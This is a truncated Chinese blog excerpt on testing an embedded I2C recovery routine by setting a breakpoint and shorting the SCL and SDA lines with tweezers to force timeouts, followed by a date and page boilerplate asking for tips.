    在I2C恢复函数下个断点(检测到I2C多次超时之后,应该能跳转到I2C恢复函数) 使用镊子,将SCL与SDA短接,很快就能看到程序停到恢复函数的断点上,此时再执行恢复函数,看能否正常走出(可在回复函数中写个死循环,只有I2C正常才跳出,检测I2C正常的办法,可以读从设备的

    2024年02月05日
    浏览(61)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包